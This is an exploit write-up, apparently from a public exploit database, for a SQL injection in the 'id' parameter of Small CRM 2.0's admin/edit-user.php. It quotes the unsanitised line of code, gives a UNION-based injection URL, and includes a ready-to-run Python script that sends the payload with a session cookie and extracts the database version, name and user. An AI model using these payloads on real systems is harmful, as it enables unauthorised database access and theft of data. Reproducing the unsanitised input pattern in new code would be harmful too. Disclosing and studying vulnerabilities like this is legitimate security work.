Small CRM 2.0 SQL Injection

`# Exploit Title: Small CRM in PHP - 'id' SQL Injection  
# Date: 2020-07-05  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/small-crm-php/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10412  
# Version: V2.0  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
Info:  
-----  
[+] Any registered user can access admin pages - no proper ACL / session control  
  
Vulnerable File:  
----------------   
/admin/edit-user.php   
  
Vulnerable Code:  
-----------------  
line 13: $userid=$_GET['id'];  
  
Vulnerable Issue:  
-----------------  
$userid=$_GET['id']; has no sanitization  
  
POC:  
----  
  
[+] Need any registered user to be authenticated first.  
  
http://localhost/crm/admin/edit-user.php?id=3'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL--+-  
  
Python Code:  
------------  
  
import requests,re  
  
url = "http://localhost:80/crm/admin/edit-user.php?id=3%27+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL--+-"  
  
payload = ""  
headers = {  
"Cookie": "PHPSESSID=3a3vmbd86fo50kl6qjd2t6ug76",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",   
"Connection": "close",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5"  
}  
  
pattern = "(?<=gh1mau).*?(?=gh1mau)"  
response = requests.request("GET", url, data=payload, headers=headers)  
version=re.findall(pattern,response.text)  
  
print(version)  
`